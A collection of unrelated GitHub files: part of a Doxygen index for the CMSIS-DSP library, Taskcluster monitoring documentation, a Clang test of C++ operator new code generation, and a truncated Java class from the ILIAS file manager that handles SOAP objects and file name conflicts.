, <a class="el" href="structarm__rfft__instance__q15.html#acd8f28f777f3417280212ce799ebef46">arm_rfft_instance_q15</a>
</li>
<li>pCoeffs
: <a class="el" href="structarm__fir__instance__f32.html#a1c9cfca901d5902afeb640f2831488f4">arm_fir_instance_f32</a>
, <a class="el" href="structarm__lms__instance__q15.html#a42f95368b94898eb82608e1113d18cab">arm_lms_instance_q15</a>
, <a class="el" href="structarm__lms__instance__q31.html#a4afe56e991a5416adfd462aa88bda500">arm_lms_instance_q31</a>
, <a class="el" href="structarm__biquad__casd__df1__inst__q15.html#a1edaacdebb5b09d7635bf20c779855fc">arm_biquad_casd_df1_inst_q15</a>
, <a class="el" href="structarm__lms__norm__instance__f32.html#a1ba688d90aba7de003ed4ad8e2e7ddda">arm_lms_norm_instance_f32</a>
, <a class="el" href="structarm__lms__norm__instance__q31.html#a57a64c1ff102d033c1bd05043f1d9955">arm_lms_norm_instance_q31</a>
, <a class="el" href="structarm__biquad__casd__df1__inst__q31.html#aa62366c632f3b5305086f841f079dbd2">arm_biquad_casd_df1_inst_q31</a>
, <a class="el" href="structarm__lms__norm__instance__q15.html#ae7bca648c75a2ffa02d87852bb78bc8a">arm_lms_norm_instance_q15</a>
, <a class="el" href="structarm__fir__sparse__instance__f32.html#a04af7c738dfb0882ad102fcad501d94a">arm_fir_sparse_instance_f32</a>
, <a class="el" href="structarm__biquad__casd__df1__inst__f32.html#af9df3820576fb921809d1462c9c6d16c">arm_biquad_casd_df1_inst_f32</a>
, <a class="el" href="structarm__fir__sparse__instance__q31.html#a093d6227f0d1597982cd083fb126f4e0">arm_fir_sparse_instance_q31</a>
, <a class="el" href="structarm__fir__sparse__instance__q15.html#a78a6565473b5f0b8c77c3f0f58a76069">arm_fir_sparse_instance_q15</a>
, <a class="el" href="structarm__fir__decimate__instance__q15.html#a01cacab67e73945e8289075598ede14d">arm_fir_decimate_instance_q15</a>
, <a class="el" href="structarm__fir__sparse__instance__q7.html#a3dac86f15e33553e8f3e19e0d712bae5">arm_fir_sparse_instance_q7</a>
, <a class="el" href="structarm__fir__decimate__instance__q31.html#a030d0391538c2481c5b348fd09a952ff">arm_fir_decimate_instance_q31</a>
, <a class="el" href="structarm__fir__decimate__instance__f32.html#a268a8b0e80a3d9764baf33e4bc10dde2">arm_fir_decimate_instance_f32</a>
, <a class="el" href="structarm__fir__interpolate__instance__q15.html#a767d91d61d4c0beeddd4325d28d28e24">arm_fir_interpolate_instance_q15</a>
, <a class="el" href="structarm__fir__interpolate__instance__q31.html#afa719433687e1936ec3403d0d32f06e6">arm_fir_interpolate_instance_q31</a>
, <a class="el" href="structarm__fir__interpolate__instance__f32.html#a86053b715980a93c9df630d6de5bb63c">arm_fir_interpolate_instance_f32</a>
, <a class="el" href="structarm__fir__instance__q7.html#a0e45aedefc3fffad6cb315c5b6e5bd49">arm_fir_instance_q7</a>
, <a class="el" href="structarm__biquad__cas__df1__32x64__ins__q31.html#a490462d6ebe0fecfb6acbf51bed22ecf">arm_biquad_cas_df1_32x64_ins_q31</a>
, <a class="el" href="structarm__biquad__cascade__df2_t__instance__f32.html#a49a24fe1b6ad3b0b26779c32d8d80b2e">arm_biquad_cascade_df2T_instance_f32</a>
, <a class="el" href="structarm__fir__instance__q15.html#a6d16db16a5f8f0db54938f2967244d9e">arm_fir_instance_q15</a>
, <a class="el" href="structarm__fir__lattice__instance__q15.html#a78f872826140069cf67836fff87360bc">arm_fir_lattice_instance_q15</a>
, <a class="el" href="structarm__fir__lattice__instance__q31.html#a66c3364bf5863cd45e05f1652c3dc522">arm_fir_lattice_instance_q31</a>
, <a class="el" href="structarm__fir__instance__q31.html#afaae4c884bdf11a4ec2f3b9bb2bb51d0">arm_fir_instance_q31</a>
, <a class="el" href="structarm__fir__lattice__instance__f32.html#a33bf5948c947f9ef80a99717cb0a0a43">arm_fir_lattice_instance_f32</a>
, <a class="el" href="structarm__lms__instance__f32.html#a4795c6f7d3f17cec15c2fd09f66edd1a">arm_lms_instance_f32</a>
</li>
<li>pCosFactor
: <a class="el" href="structarm__dct4__instance__f32.html#a6da1187e070801e011ce5e0582efa861">arm_dct4_instance_f32</a>
, <a class="el" href="structarm__dct4__instance__q31.html#af97204d1838925621fc82021a0c2d6c1">arm_dct4_instance_q31</a>
, <a class="el" href="structarm__dct4__instance__q15.html#ac76df681b1bd502fb4874c06f055dded">arm_dct4_instance_q15</a>
</li>
<li>pData
: <a class="el" href="structarm__matrix__instance__f32.html#af3917c032600a9dfd5ed4a96f074910a">arm_matrix_instance_f32</a>
, <a class="el" href="structarm__matrix__instance__q15.html#a6da33a5553e634787d0f515cf8d724af">arm_matrix_instance_q15</a>
, <a class="el" href="structarm__matrix__instance__q31.html#a09a64267c0579fef086efc9059741e56">arm_matrix_instance_q31</a>
, <a class="el" href="structarm__bilinear__interp__instance__f32.html#afd1e764591c991c212d56c893efb5ea4">arm_bilinear_interp_instance_f32</a>
, <a class="el" href="structarm__bilinear__interp__instance__q31.html#a843eae0c9db5f815e77e1aaf9afea358">arm_bilinear_interp_instance_q31</a>
, <a class="el" href="structarm__bilinear__interp__instance__q15.html#a50d75b1316cee3e0dfad6dcc4c9a2954">arm_bilinear_interp_instance_q15</a>
, <a class="el" href="structarm__bilinear__interp__instance__q7.html#af05194d691bbefb02c34bafb22ca9ef0">arm_bilinear_interp_instance_q7</a>
</li>
<li>phaseLength
: <a class="el" href="structarm__fir__interpolate__instance__q15.html#ad5178a02a697a77e0d0e60705d9f0a19">arm_fir_interpolate_instance_q15</a>
, <a class="el" href="structarm__fir__interpolate__instance__q31.html#a5d243796584afc7cd6c557f00b7acca5">arm_fir_interpolate_instance_q31</a>
, <a class="el" href="structarm__fir__interpolate__instance__f32.html#a389e669e13ec56292a70db8e92194b12">arm_fir_interpolate_instance_f32</a>
</li>
<li>pkCoeffs
: <a class="el" href="structarm__iir__lattice__instance__q15.html#a41c214a1ec38d4a82fae8899d715dd29">arm_iir_lattice_instance_q15</a>
, <a class="el" href="structarm__iir__lattice__instance__q31.html#a1d30aa16aac7722936ea9dee59211863">arm_iir_lattice_instance_q31</a>
, <a class="el" href="structarm__iir__lattice__instance__f32.html#aa69fcdd3775e828d450ce1bbd978fa31">arm_iir_lattice_instance_f32</a>
</li>
<li>postShift
: <a class="el" href="structarm__biquad__casd__df1__inst__q15.html#ada7e9d6269e6ed4eacf8f68729e9832d">arm_biquad_casd_df1_inst_q15</a>
, <a class="el" href="structarm__biquad__casd__df1__inst__q31.html#a636c7fbe09ec4bef0bc0a4b4e2151cbe">arm_biquad_casd_df1_inst_q31</a>
, <a class="el" href="structarm__lms__norm__instance__q15.html#aa0d435fbcf7dedb7179d4467e9b79e9f">arm_lms_norm_instance_q15</a>
, <a class="el" href="structarm__biquad__cas__df1__32x64__ins__q31.html#a8e9d58e8dba5aa3b2fc4f36d2ed07996">arm_biquad_cas_df1_32x64_ins_q31</a>
, <a class="el" href="structarm__lms__instance__q15.html#acca5fbaef4a52ae411de24c9a0b929cf">arm_lms_instance_q15</a>
, <a class="el" href="structarm__lms__instance__q31.html#a4705a8f0011bb9166e09bf5bd51e595e">arm_lms_instance_q31</a>
, <a class="el" href="structarm__lms__norm__instance__q31.html#a28d7b9e437817f83397e081967e90f3c">arm_lms_norm_instance_q31</a>
</li>
<li>pRfft
: <a class="el" href="structarm__dct4__instance__f32.html#a978f37fc19add31af243ab5c63ae502f">arm_dct4_instance_f32</a>
, <a class="el" href="structarm__dct4__instance__q31.html#af1487dab5e7963b85dc0fdc6bf492542">arm_dct4_instance_q31</a>
, <a class="el" href="structarm__dct4__instance__q15.html#a11cf95c1cd9dd2dd5e4b81b8f88dc208">arm_dct4_instance_q15</a>
</li>
<li>pState
: <a class="el" href="structarm__biquad__casd__df1__inst__q15.html#a5481104ef2f8f81360b80b47d69ae932">arm_biquad_casd_df1_inst_q15</a>
, <a class="el" href="structarm__fir__decimate__instance__q31.html#a0ef0ef9e265f7ab873cfc6daa7593fdb">arm_fir_decimate_instance_q31</a>
, <a class="el" href="structarm__fir__instance__q7.html#aaddea3b9c7e16ddfd9428b7bf9f9c200">arm_fir_instance_q7</a>
, <a class="el" href="structarm__fir__instance__q15.html#aa8d25f44f45b6a6c4cf38c31569b8a01">arm_fir_instance_q15</a>
, <a class="el" href="structarm__fir__instance__q31.html#a409f39c93b744784648bdc365541444d">arm_fir_instance_q31</a>
, <a class="el" href="structarm__fir__instance__f32.html#a7afcf4022e8560db9b8fd28b0d090a15">arm_fir_instance_f32</a>
, <a class="el" href="structarm__biquad__casd__df1__inst__q31.html#a5dcf4727f58eb4e8e8b392508d8657bb">arm_biquad_casd_df1_inst_q31</a>
, <a class="el" href="structarm__biquad__casd__df1__inst__f32.html#a8c245d79e0d8cfabc82409d4b54fb682">arm_biquad_casd_df1_inst_f32</a>
, <a class="el" href="structarm__fir__interpolate__instance__f32.html#a42a8ba1bda85fa86d7b6c84d3da4c75b">arm_fir_interpolate_instance_f32</a>
, <a class="el" href="structarm__fir__decimate__instance__q15.html#a3f7b5184bb28853ef401b001df121047">arm_fir_decimate_instance_q15</a>
, <a class="el" href="structarm__fir__decimate__instance__f32.html#a5bddf29aaaf2011d2e3bcec59a83f633">arm_fir_decimate_instance_f32</a>
, <a class="el" href="structarm__fir__interpolate__instance__q15.html#a26b864363fa47954248f2590e3a82a3c">arm_fir_interpolate_instance_q15</a>
, <a class="el" href="structarm__fir__sparse__instance__f32.html#a794af0916666d11cc564d6df08553555">arm_fir_sparse_instance_f32</a>
, <a class="el" href="structarm__fir__lattice__instance__f32.html#ae348884a1ba9b83fadccd5da640cbcaf">arm_fir_lattice_instance_f32</a>
, <a class="el" href="structarm__fir__lattice__instance__q15.html#a37b90dea2bc3ee7c9951a9fe74db0cbb">arm_fir_lattice_instance_q15</a>
, <a class="el" href="structarm__fir__interpolate__instance__q31.html#addde04514b6e6ac72be3d609f0398b1a">arm_fir_interpolate_instance_q31</a>
, <a class="el" href="structarm__biquad__cascade__df2_t__instance__f32.html#a24d223addfd926a7177088cf2efe76b1">arm_biquad_cascade_df2T_instance_f32</a>
, <a class="el" href="structarm__fir__sparse__instance__q7.html#a18072cf3ef3666d588f0d49512f2b28f">arm_fir_sparse_instance_q7</a>
, <a class="el" href="structarm__biquad__cas__df1__32x64__ins__q31.html#a4c899cdfaf2bb955323e93637bd662e0">arm_biquad_cas_df1_32x64_ins_q31</a>
, <a class="el" href="structarm__lms__norm__instance__q15.html#aa4de490b3bdbd03561b76ee07901c8e3">arm_lms_norm_instance_q15</a>
, <a class="el" href="structarm__lms__instance__f32.html#aaf94285be2f99b5b9af40bea8dcb14b9">arm_lms_instance_f32</a>
, <a class="el" href="structarm__fir__sparse__instance__q31.html#a830be89daa5a393b225048889aa045d1">arm_fir_sparse_instance_q31</a>
, <a class="el" href="structarm__lms__norm__instance__q31.html#a6b25c96cf048b77078d62f4252a01ec4">arm_lms_norm_instance_q31</a>
, <a class="el" href="structarm__lms__instance__q15.html#a9a575ff82c1e68cbb583083439260d08">arm_lms_instance_q15</a>
, <a class="el" href="structarm__iir__lattice__instance__q15.html#afd0136ab917b529554d93f41a5e04618">arm_iir_lattice_instance_q15</a>
, <a class="el" href="structarm__fir__sparse__instance__q15.html#a98b92b0f5208110129b9a67b1db90408">arm_fir_sparse_instance_q15</a>
, <a class="el" href="structarm__lms__instance__q31.html#a206d47b49de6f357f933ebe61520753c">arm_lms_instance_q31</a>
, <a class="el" href="structarm__lms__norm__instance__f32.html#a0bc03338687002ed5f2e4a363eb095ec">arm_lms_norm_instance_f32</a>
, <a class="el" href="structarm__fir__lattice__instance__q31.html#a08fe9494ab7cd336b791e9657adadcf6">arm_fir_lattice_instance_q31</a>
, <a class="el" href="structarm__iir__lattice__instance__f32.html#a30babe7815510219e6e3d28e6e4a5969">arm_iir_lattice_instance_f32</a>
, <a class="el" href="structarm__iir__lattice__instance__q31.html#a941282745effd26a889fbfadf4b95e6a">arm_iir_lattice_instance_q31</a>
</li>
<li>pTapDelay
: <a class="el" href="structarm__fir__sparse__instance__q7.html#ac625393c84bc0342ffdf26fc4eba1ac1">arm_fir_sparse_instance_q7</a>
, <a class="el" href="structarm__fir__sparse__instance__q15.html#aeab2855176c6efdb231a73a3672837d5">arm_fir_sparse_instance_q15</a>
, <a class="el" href="structarm__fir__sparse__instance__q31.html#ab87ae457adec8f727afefaa2599fc983">arm_fir_sparse_instance_q31</a>
, <a class="el" href="structarm__fir__sparse__instance__f32.html#aaa54ae67e5d10c6dd0d697945c638d31">arm_fir_sparse_instance_f32</a>
</li>
<li>pTwiddle
: <a class="el" href="structarm__dct4__instance__q31.html#a7db236e22673146bb1d2c962f0713f08">arm_dct4_instance_q31</a>
, <a class="el" href="structarm__cfft__radix4__instance__q15.html#a29dd693537e45421a36891f8439e1fba">arm_cfft_radix4_instance_q15</a>
, <a class="el" href="structarm__cfft__radix4__instance__f32.html#a14860c7544911702ca1fa0bf78204ef3">arm_cfft_radix4_instance_f32</a>
, <a class="el" href="structarm__cfft__radix2__instance__q31.html#a1d5bbe9a991e133f81652a77a7985d23">arm_cfft_radix2_instance_q31</a>
, <a class="el" href="structarm__dct4__instance__f32.html#ad13544aafad268588c62e3eb35ae662c">arm_dct4_instance_f32</a>
, <a class="el" href="structarm__cfft__radix2__instance__q15.html#a3809dd15e7cbf1a054c728cfbbb0cc5a">arm_cfft_radix2_instance_q15</a>
, <a class="el" href="structarm__cfft__radix4__instance__q31.html#a561c22dee4cbdcfa0fd5f15106ecc306">arm_cfft_radix4_instance_q31</a>
, <a class="el" href="structarm__dct4__instance__q15.html#abc6c847e9f906781e1d5da40e9aafa76">arm_dct4_instance_q15</a>
, <a class="el" href="structarm__cfft__radix2__instance__f32.html#adb0c9d47dbfbd90a6f6ed0a05313a974">arm_cfft_radix2_instance_f32</a>
</li>
<li>pTwiddleAReal
: <a class="el" href="structarm__rfft__instance__q15.html#affbf2de522ac029432d98e8373c0ec53">arm_rfft_instance_q15</a>
, <a class="el" href="structarm__rfft__instance__q31.html#a2a0c944e66bab92fcbe19d1c29153250">arm_rfft_instance_q31</a>
, <a class="el" href="structarm__rfft__instance__f32.html#a534cc7e6e9b3e3dd022fad611c762142">arm_rfft_instance_f32</a>
</li>
<li>pTwiddleBReal
: <a class="el" href="structarm__rfft__instance__q15.html#a937d815022adc557b435ba8c6cd58b0d">arm_rfft_instance_q15</a>
, <a class="el" href="structarm__rfft__instance__q31.html#ae5070be4c2e0327e618f5e1f4c5b9d80">arm_rfft_instance_q31</a>
, <a class="el" href="structarm__rfft__instance__f32.html#a23543ecfd027fea2477fe1eea23c3c4d">arm_rfft_instance_f32</a>
</li>
<li>pvCoeffs
: <a class="el" href="structarm__iir__lattice__instance__q31.html#a04507e2b982b1dfa97b7b55752dea6b9">arm_iir_lattice_instance_q31</a>
, <a class="el" href="structarm__iir__lattice__instance__q15.html#a4c4f57f45b223abbe2a9fb727bd2cad9">arm_iir_lattice_instance_q15</a>
, <a class="el" href="structarm__iir__lattice__instance__f32.html#afc7c8f577e6f27d097fe55f57e707f72">arm_iir_lattice_instance_f32</a>
</li>
<li>pYData
: <a class="el" href="structarm__linear__interp__instance__f32.html#ab373001f6afad0850359c344a4d7eee4">arm_linear_interp_instance_f32</a>
</li>
</ul>
</div>
</div>
<div id="nav-path" class="navpath">
<ul>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Defines</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<li class="footer">Generated on Wed Mar 28 2012 15:38:09 for CMSIS-DSP by ARM Ltd. All rights reserved.
<!--
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.5.1 </li>
-->
</li>
</ul>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
---
title: Monitoring Services
---
# Monitoring Services
## New Relic
Taskcluster services *optionally* support New Relic.
To enable this support, add a top-level Helm property named `newRelic` containing a JSON object with [New Relic environment variables](https://docs.newrelic.com/docs/agents/nodejs-agent/installation-configuration/nodejs-agent-configuration) and their values.
This will be distributed to all services.
```yaml
newRelic:
NEW_RELIC_APP_NAME: my-app
NEW_RELIC_LICENSE_KEY: 12345
# ...
```
## Background Processes
Taskcluster has several background processes that you should ensure are running on a schedule. Any of the following will generate messages
of the form:
```json
{
"Type": "monitor.periodic",
"Logger": "<Logger>",
"Fields": {
"name": "<Name>"
}
}
```
They will also have Fields for `status`, `duration`, and a serialized `error` if an error occured.
The processes that have `continuous` for their dedaline and schedule run every few minutes and should complete fairly quickly. The rest
have their schedules and maximum allowed duration defined here. All times are relative to the timezone of the k8s cluster.
<!-- BEGIN MONITORING TABLE --
| Service | Name | Logger | Deadline (seconds) | Schedule |
| -------------- | ---------------------------- | -------------------------- | ------------------ | --------------------------- |
| auth | purgeExpiredClients | taskcluster.auth | 86400 | At 12:00 AM |
| github | sync | taskcluster.github | 86400 | At 12:00 AM |
| hooks | expires | taskcluster.hooks | 86400 | At 12:10 AM |
| index | expire | taskcluster.index | 86400 | At 12:00 AM |
| purge-cache | expireCachePurges | taskcluster.purge-cache | 86400 | At 12:00 AM |
| queue | claimResolver | taskcluster.queue | continuous | continuous |
| queue | deadlineResolver | taskcluster.queue | continuous | continuous |
| queue | dependencyResolver | taskcluster.queue | continuous | continuous |
| queue | expireArtifacts | taskcluster.queue | 86400 | At 12:00 AM |
| queue | expireTask | taskcluster.queue | 86400 | At 12:00 AM |
| queue | expireTaskGroups | taskcluster.queue | 86400 | At 12:00 AM |
| queue | expireTaskDependency | taskcluster.queue | 86400 | At 12:00 AM |
| queue | expireQueueMessages | taskcluster.queue | 3600 | At 23 minutes past the hour |
| queue | expireWorkerInfo | taskcluster.queue | 86400 | At 12:00 AM |
| secrets | expire | taskcluster.secrets | 600 | Every hour |
| web-server | scanner | taskcluster.web-server | 86400 | At 12:00 AM |
| web-server | cleanup-expire-auth-codes | taskcluster.web-server | 86400 | At 12:00 AM |
| web-server | cleanup-expire-access-tokens | taskcluster.web-server | 86400 | At 12:00 AM |
| worker-manager | provisioner | taskcluster.worker-manager | continuous | continuous |
| worker-manager | workerscanner | taskcluster.worker-manager | continuous | continuous |
| worker-manager | expire-workers | taskcluster.worker-manager | 86400 | At 12:00 AM |
| worker-manager | expire-worker-pools | taskcluster.worker-manager | 86400 | At 01:00 AM |
| worker-manager | expire-errors | taskcluster.worker-manager | 86400 | At 12:10 AM |
-- END MONITORING TABLE -->
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -triple x86_64-unknown-unknown %s -emit-llvm -o - | FileCheck %s
typedef __typeof__(sizeof(0)) size_t;
void t1() {
int* a = new int;
}
// Declare the reserved placement operators.
void *operator new(size_t, void*) throw();
void operator delete(void*, void*) throw();
void *operator new[](size_t, void*) throw();
void operator delete[](void*, void*) throw();
void t2(int* a) {
int* b = new (a) int;
}
struct S {
int a;
};
// POD types.
void t3() {
int *a = new int(10);
_Complex int* b = new _Complex int(10i);
S s;
s.a = 10;
S *sp = new S(s);
}
// Non-POD
struct T {
T();
int a;
};
void t4() {
// CHECK: call void @_ZN1TC1Ev
T *t = new T;
}
struct T2 {
int a;
T2(int, int);
};
void t5() {
// CHECK: call void @_ZN2T2C1Eii
T2 *t2 = new T2(10, 10);
}
int *t6() {
// Null check.
return new (0) int(10);
}
void t7() {
new int();
}
struct U {
~U();
};
void t8(int n) {
new int[10];
new int[n];
// Non-POD
new T[10];
new T[n];
// Cookie required
new U[10];
new U[n];
}
// noalias
// CHECK: declare noalias i8* @_Znam
void *operator new[](size_t);
void t9() {
bool b;
new bool(true);
new (&b) bool(true);
}
struct A {
void* operator new(__typeof(sizeof(int)), int, float, ...);
A();
};
A* t10() {
// CHECK: @_ZN1AnwEmifz
return new(1, 2, 3.45, 100) A;
}
// CHECK: define void @_Z3t11i
struct B { int a; };
struct Bmemptr { int Bmemptr::* memptr; int a; };
void t11(int n) {
// CHECK: call noalias i8* @_Znwm
// CHECK: call void @llvm.memset.p0i8.i64(
B* b = new B();
// CHECK: call noalias i8* @_Znam
// CHECK: {{call void.*llvm.memset.p0i8.i64.*i8 0, i64 %}}
B *b2 = new B[n]();
// CHECK: call noalias i8* @_Znam
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64
// CHECK: br
Bmemptr *b_memptr = new Bmemptr[n]();
// CHECK: ret void
}
struct Empty { };
// We don't need to initialize an empty class.
// CHECK: define void @_Z3t12v
void t12() {
// CHECK: call noalias i8* @_Znam
// CHECK-NOT: br
(void)new Empty[10];
// CHECK: call noalias i8* @_Znam
// CHECK-NOT: br
(void)new Empty[10]();
// CHECK: ret void
}
// Zero-initialization
// CHECK: define void @_Z3t13i
void t13(int n) {
// CHECK: call noalias i8* @_Znwm
// CHECK: store i32 0, i32*
(void)new int();
// CHECK: call noalias i8* @_Znam
// CHECK: {{call void.*llvm.memset.p0i8.i64.*i8 0, i64 %}}
(void)new int[n]();
// CHECK-NEXT: ret void
}
struct Alloc{
int x;
void* operator new[](size_t size);
void operator delete[](void* p);
~Alloc();
};
void f() {
// CHECK: call i8* @_ZN5AllocnaEm(i64 808)
// CHECK: store i64 200
// CHECK: call void @_ZN5AllocD1Ev(
// CHECK: call void @_ZN5AllocdaEPv(i8*
delete[] new Alloc[10][20];
// CHECK: call noalias i8* @_Znwm
// CHECK: call void @_ZdlPv(i8*
delete new bool;
// CHECK: ret void
}
namespace test15 {
struct A { A(); ~A(); };
// CHECK: define void @_ZN6test155test0EPv(
// CHECK: [[P:%.*]] = load i8*
// CHECK-NEXT: icmp eq i8* [[P]], null
// CHECK-NEXT: br i1
// CHECK: [[T0:%.*]] = bitcast i8* [[P]] to [[A:%.*]]*
// CHECK-NEXT: call void @_ZN6test151AC1Ev([[A]]* [[T0]])
void test0(void *p) {
new (p) A();
}
// CHECK: define void @_ZN6test155test1EPv(
// CHECK: [[P:%.*]] = load i8**
// CHECK-NEXT: icmp eq i8* [[P]], null
// CHECK-NEXT: br i1
// CHECK: [[BEGIN:%.*]] = bitcast i8* [[P]] to [[A:%.*]]*
// CHECK-NEXT: [[END:%.*]] = getelementptr inbounds [[A]]* [[BEGIN]], i64 5
// CHECK-NEXT: br label
// CHECK: [[CUR:%.*]] = phi [[A]]* [ [[BEGIN]], {{%.*}} ], [ [[NEXT:%.*]], {{%.*}} ]
// CHECK-NEXT: call void @_ZN6test151AC1Ev([[A]]* [[CUR]])
// CHECK-NEXT: [[NEXT]] = getelementptr inbounds [[A]]* [[CUR]], i64 1
// CHECK-NEXT: [[DONE:%.*]] = icmp eq [[A]]* [[NEXT]], [[END]]
// CHECK-NEXT: br i1 [[DONE]]
void test1(void *p) {
new (p) A[5];
}
// TODO: it's okay if all these size calculations get dropped.
// FIXME: maybe we should try to throw on overflow?
// CHECK: define void @_ZN6test155test2EPvi(
// CHECK: [[N:%.*]] = load i32*
// CHECK-NEXT: [[T0:%.*]] = sext i32 [[N]] to i64
// CHECK-NEXT: [[T1:%.*]] = icmp slt i64 [[T0]], 0
// CHECK-NEXT: [[T2:%.*]] = select i1 [[T1]], i64 -1, i64 [[T0]]
// CHECK-NEXT: [[P:%.*]] = load i8*
// CHECK-NEXT: icmp eq i8* [[P]], null
// CHECK-NEXT: br i1
// CHECK: [[BEGIN:%.*]] = bitcast i8* [[P]] to [[A:%.*]]*
// CHECK-NEXT: [[ISEMPTY:%.*]] = icmp eq i64 [[T0]], 0
// CHECK-NEXT: br i1 [[ISEMPTY]],
// CHECK: [[END:%.*]] = getelementptr inbounds [[A]]* [[BEGIN]], i64 [[T0]]
// CHECK-NEXT: br label
// CHECK: [[CUR:%.*]] = phi [[A]]* [ [[BEGIN]],
// CHECK-NEXT: call void @_ZN6test151AC1Ev([[A]]* [[CUR]])
void test2(void *p, int n) {
new (p) A[n];
}
}
namespace PR10197 {
// CHECK: define weak_odr void @_ZN7PR101971fIiEEvv()
template<typename T>
void f() {
// CHECK: [[CALL:%.*]] = call noalias i8* @_Znwm
// CHECK-NEXT: [[CASTED:%.*]] = bitcast i8* [[CALL]] to
new T;
// CHECK-NEXT: ret void
}
template void f<int>();
}
namespace PR11523 {
class MyClass;
typedef int MyClass::* NewTy;
// CHECK: define i64* @_ZN7PR115231fEv
// CHECK: store i64 -1
NewTy* f() { return new NewTy[2](); }
}
namespace PR11757 {
// Make sure we elide the copy construction.
struct X { X(); X(const X&); };
X* a(X* x) { return new X(X()); }
// CHECK: define {{.*}} @_ZN7PR117571aEPNS_1XE
// CHECK: [[CALL:%.*]] = call noalias i8* @_Znwm
// CHECK-NEXT: [[CASTED:%.*]] = bitcast i8* [[CALL]] to
// CHECK-NEXT: call void @_ZN7PR117571XC1Ev({{.*}}* [[CASTED]])
// CHECK-NEXT: ret {{.*}} [[CASTED]]
}
namespace PR13380 {
struct A { A() {} };
struct B : public A { int x; };
// CHECK: define i8* @_ZN7PR133801fEv
// CHECK: call noalias i8* @_Znam(
// CHECK: call void @llvm.memset.p0i8
// CHECK-NEXT: call void @_ZN7PR133801BC1Ev
void* f() { return new B[2](); }
}
| {
"pile_set_name": "Github"
} |
Documentation for tex-cmexb.
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 1998-2009 ILIAS open source, Extended GPL, see docs/LICENSE
*/
package de.ilias.services.filemanager.soap.api;
import de.ilias.services.filemanager.content.ListItem;
import de.ilias.services.filemanager.content.RemoteListItem;
import de.ilias.services.filemanager.utils.FileManagerUtils;
import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.logging.Logger;
import javafx.scene.layout.HBox;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlTransient;
/**
* Class SoapClientObjects
*
* @author Stefan Meyer <[email protected]>
*/
@XmlRootElement( name = "Objects")
public class SoapClientObjects {
@XmlTransient
private static Logger logger = Logger.getLogger(SoapClientObjects.class.getName());
private List<SoapClientObject> objects;
/**
* get objects
* @return
*/
@XmlElement( name = "Object")
public List<SoapClientObject> getObjects() {
if(objects == null) {
return objects = new ArrayList<SoapClientObject>();
}
return objects;
}
/**
* Get list of path elements
*
* @param includeLeaf
* @return
*/
public List<SoapClientObjectReferencePath> getFirstPath(boolean includeLeaf) {
List<SoapClientObjectReferencePath> pathList = new ArrayList<SoapClientObjectReferencePath>();
// choose first object
for(SoapClientObject obj : getObjects()) {
// choose first reference
for(SoapClientObjectReference ref : obj.getReferences()) {
pathList = ref.getPathElements();
break;
}
break;
}
// Append a leaf the leaf node as path element if desired
if(includeLeaf) {
for(SoapClientObject obj : getObjects()) {
for(SoapClientObjectReference ref : obj.getReferences()) {
SoapClientObjectReferencePath leaf = new SoapClientObjectReferencePath();
if(pathList.size() < 1) {
leaf.setTitle("Repository");
}
else {
leaf.setTitle(obj.getTitle());
}
leaf.setRefId(ref.getRefId());
leaf.setType(obj.getType());
pathList.add(leaf);
break;
}
break;
}
}
return pathList;
}
public ListItem getParentListItem() {
int minElements = 1;
Iterator objectIterator = getObjects().iterator();
while(objectIterator.hasNext()) {
SoapClientObject obj = (SoapClientObject) objectIterator.next();
Iterator refIterator = obj.getReferences().iterator();
while(refIterator.hasNext()) {
SoapClientObjectReference ref = (SoapClientObjectReference) refIterator.next();
ArrayList<SoapClientObjectReferencePath> pathElements = (ArrayList<SoapClientObjectReferencePath>) ref.getPathElements();
if(pathElements.size() >= minElements) {
SoapClientObjectReferencePath parent = pathElements.get(pathElements.size() - 1);
RemoteListItem parentItem = new RemoteListItem();
parentItem.setRefId(parent.getRefId());
parentItem.setType(parent.getType());
parentItem.setTitle(parent.getTitle());
return parentItem;
}
}
}
return null;
}
public List<File> checkNamingConflicts(List<File> files) {
ArrayList<File> conflicted = new ArrayList<File>();
for(File file : files) {
for(SoapClientObject obj : getObjects()) {
if(
file.getName().equalsIgnoreCase(obj.getTitle()) &&
(obj.getType().equals("file") || obj.getType().equals("fold") || obj.getType().equals("cat")) &&
obj.isWritable()) {
logger.info("File names are equal!");
conflicted.add(file);
}
}
}
return conflicted;
}
/**
* Check for a naming conflict e.g. when pasting files from clipboard
* @param files
* @return
*/
public HashMap<File,SoapClientObject> checkNamingConflict(List<File> files) {
HashMap<File,SoapClientObject> conflict = new HashMap<File, SoapClientObject>();
for(File file : files) {
for(SoapClientObject obj : getObjects()) {
if(
